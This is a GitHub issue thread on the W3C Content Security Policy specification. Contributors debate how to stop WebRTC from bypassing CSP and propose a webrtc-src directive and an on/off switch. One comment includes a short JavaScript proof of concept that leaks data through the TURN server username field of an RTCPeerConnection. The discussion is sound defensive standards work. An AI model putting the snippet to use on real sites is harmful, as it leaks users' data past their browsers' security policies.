Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

WebRTC can be used for exfiltration #92

Closed
annevk opened this issue Jun 18, 2016 · 20 comments
Closed

WebRTC can be used for exfiltration #92

annevk opened this issue Jun 18, 2016 · 20 comments
Milestone

Comments

@annevk
Copy link
Member

annevk commented Jun 18, 2016

Since it does not go through Fetch, none of the security policies are applied to it. Seems wrong. Not entirely sure where the best general place would be to address this; filing this as a start.

@ekr
Copy link

ekr commented Jun 18, 2016

I agree that this isn't ideal.

ISTM that it might be easiest to just have a "no-webrtc" directive, rather than trying to have fine-grained filters.

@mikewest mikewest added this to the CSP3 CR milestone Sep 2, 2016
@mikewest
Copy link
Member

mikewest commented Sep 2, 2016

  1. Conceptually, it seems like this ought to be governed by connect-src.
  2. Feature Policy aims to provide an on/off toggle of the form that @ekr suggests; maybe that's enough, if it turns out that back-compat stops us from implementing existing restrictions.

@gorhill
Copy link

gorhill commented Dec 5, 2016

More and more sites are (ab)using WebRTC to pull data from remote servers through browsers with no obvious way for users to be informed about such connections to remote servers, and no mean to prevent these connections from happening on a per-site basis. I observe that such use is spreading fast. Example:

a

A no-webrtc directive would solve this.

@Pehrsons
Copy link

I'll note that @martinthomson wrote a bit more detailed proposal on the mailing list in 2014, [1]. Would be a pity to lose it.

[1] https://lists.w3.org/Archives/Public/public-webappsec/2014Aug/0162.html

@andypaicu andypaicu modified the milestones: CSP3 CR, Future Jan 8, 2018
@murillo128
Copy link

There is no need to use datachannels at all, you can leak data (at low rate), in the username of the turn server:

var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Note that you don't even need to successfully establish the peer connection in order to send it back to the turn server.

I would assume that webrtc should be disabled if connect-src is set (unless we specify a new schema for enabling webrtc)

@steely-glint
Copy link

In theory shouldn't be possibe to set up a webRTC connection without communicating with your malicious server to exchange a full Offer-Answer - which would have to go over websockets or fetch - so it should already be in the control of the connect-src policies.

However a combination of a ice-lite in the offer and a creatively non-compliant ICE server means that the Answer phase can be ommited meaning it can bypass connect-src whitelist

It should be sufficient to ban ice-lite on pages with a CSP set.

@murillo128
Copy link

@steely-glint It is not even needed to do O/A to leak data, you can use the username/passwords on the iceServers passed to the RTCPeerConnection to leak small amounts of data (enough for encapsulating a cc details) just by creating a RTCPeerConnection and creating an offer as per my snipped in my previous comment.

@steely-glint
Copy link

True - so if your page has connect-src: set, then that should apply to turn and stun servers too.
I suppose we could add a new directive for them
turn-servers:
but that might be confusing.

@murillo128
Copy link

murillo128 commented Jan 12, 2018

connect-src already supports urls:

Content-Security-Policy: connect-src https://example.com/

So it would be trivial to add stun: and/or turn: urls to it, like:

Content-Security-Policy: connect-src https://example.com/ stun:stun.services.mozilla.com

which will match naturally the values needed to be set on the PC constructor:

var configuration = { iceServers: [{
                          urls: "stun:stun.services.mozilla.com",
                          username: "louis@mozilla.com", 
                          credential: "webrtcdemo"
                      }, {
                          urls: [
                                  "stun:stun.example.com",
                                  "stun:stun-1.example.com"
                          ]
                      }]
};

This will allow the stun connection to stun.services.mozilla.com but not to stun.example.com or stun-1.example.com

@steely-glint
Copy link

steely-glint commented Jan 12, 2018

Oh, and in answer to @martinthomson 's prescient post from 3 years ago, (link above) it would be pretty simple to exfiltrate data over DTMF (which was added in the meanwhile).
It would be only slightly harder to do it over G711.
So I don't believe this is a data-channel issue.
In my view it is an ICE issue - ICE is supposed to be the webRTC consent mechanism. Ice-lite breaks that.

@murillo128
Copy link

As it was pointed out on the w3c list, even whitelisting stun/turn servers, it would be possible to leak data with a variant of the code above.

So the updated proposal would be that when CSP is enabled (either via defautl-src or the connect-src header), we create three white lists for webrtc:

  • stun servers: any stun server passed into the PC constructor on the iceServers not matched by one entry on the list will be discarded
  • turn servers: any turn server passed to the PC constructor on the iceServers not matched by one entry on the list will be discarded
  • remote candidates: any remote candidate passed to an PC (either on the setRemoteDescription or addIceCandidate) not maching an entry on the whitelist will be discarded

By default, all this three list are empty. That is, any service with CSP turned on and no specific configuration for webrtc, will be protected as no webrtc connections will be enabled.

To add entries to each list, we can use stun and turn urls and a new "ice:" url schema for the remote ice candidates. A wildcard url would be allowed to restrict the constrains for those willing to use it.

Examples:

Content-Security-Policy: connect-src https://example.com; No webrtc connection enabled at all

Content-Security-Policy: connect-src https://example.com stun:example.com turn:example.com ice:1.1.1.1; Stun and turn allowed to example.con, but remote candidates not from 1.1.1.1 are disabled

Content-Security-Policy: connect-src https://example.com stun:example.com turn:example.com ice:*; Stun and turn allowed to example.con, any remote candidate is allowed (this is unsafe, but allowed)

Content-Security-Policy: connect-src https://example.com stun:example.com turn:example.com; Stun and turn allowed to example.con, but no remote ice candidates allowed (doesn't make much sense, but allowed)

Content-Security-Policy: connect-src https://example.com turn:example.com ice:turn.example.com; Only turn allowed to example.con and remote candidates from example.com only

@martinthomson
Copy link
Member

That sort of policy would essentially have us create a new set of origins for TURN, ICE, and STUN. It probably makes sense to have a single type of origin if that is the path that is chosen. From the CSP perspective, there is no functional difference between these types of endpoint.

Also, you have to consider the operational costs of knowing the set of potential peers when setting policy (i.e., before page load time). WebRTC naturally discovers the address of peers during signaling, so a CSP rule that constrains the identity of peers is very constraining, except for a certain type of usage. That suggests that a simpler "webrtc" label is more likely to be effective here.

(For reference, the discussion in 2014 was about inbound data. 'connect-src' now covers exfiltration of secrets, so it makes sense to consider media and ICE in the rule.)

@murillo128
Copy link

I would also be in favor of a master webrtc on/off switch for CSP as the one you are proposing.

However it was noted by some people at the w3c list that they would not accept it as they would like to have a more fine grained control switch. I believe that it makes quite a lot of sense as for the kind of deployments in which you would like to set CSP and still be able to use webrtc, requiring that all media goes via server (SBC, turn server, recording server, SFU) is not an uncommon requirement.

Anyway, I would be ok with any of both ways (better done than perfect)

@alvestrand
Copy link

From discussion on the webrtc list: As implemented today, there's no difference between ice and ice-lite from a security standpoint. Both permit communication to external parties containing data under Javascript control, and at least some implementations send media without requiring the other party to have learned the sender's password (the focus of ICE consent is to make sure the other party wants to receive your data, not on whether you want to send it to him).

@mikewest
Copy link
Member

I talked with @alvestrand about this today, and landed on a similar solution to what @murillo128 proposed above. I agree with @martinthomson that I don't expect anyone to actually use it to restrict the set of peers they could communicate with, but it seems reasonable to offer folks that ability if they really want to use it. We could model that as a new webrtc-src directive that sits on top of connect-src, which would enable folks to govern WebRTC communications differently than they govern fetch(), XHR, EventSource, etc. That is:

  • default-src 'none' would block WebRTC connections, as would connect-src 'none' or webrtc-src 'none'.
  • connect-src example.com and webrtc-src example.com would allow fetch() and WebRTC to example.com (e.g. we wouldn't attempt to distinguish between TURN/ICE/STUN).
  • connect-src example.com; webrtc-src 'none' would disable WebRTC connections.
  • connect-src 'none'; webrtc-src * would enable WebRTC to any where, while disabling fetch().

I don't actually know enough about the WebRTC spec to know where y'all would have to hook into CSP, but if this is a model folks can live with, I can give you hooks.

mikewest added a commit that referenced this issue Jan 17, 2018
The 'webrtc-src' directive is a proposal for handling WebRTC connections. This patch
isn't exactly finished, but it should at least give a concrete proposal that we can
discuss in #92.
@mikewest
Copy link
Member

PR for discussion of the hooks proposed above in #287.

@lgrahl
Copy link

lgrahl commented Oct 20, 2018

Sorry for digging this up again but I think we should at least establish an on/off switch for WebRTC soon to slowly (but surely) get rid of the necessity for WebRTC blocker plugins that are bugging all WebRTC application developers.

(Also, the issue should be renamed to "WebRTC can be used for exfiltration".)

@annevk annevk changed the title WebRTC RTCDataChannel can be used for exfiltration WebRTC can be used for exfiltration Oct 24, 2018
@zenhack
Copy link
Contributor

zenhack commented Jan 18, 2021

Newer PR that's just an on/off switch at #457

@RealAlphabet
Copy link

Hello, what's the status of this issue ?

@antosart
Copy link
Member

I think this can be closed given #457.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests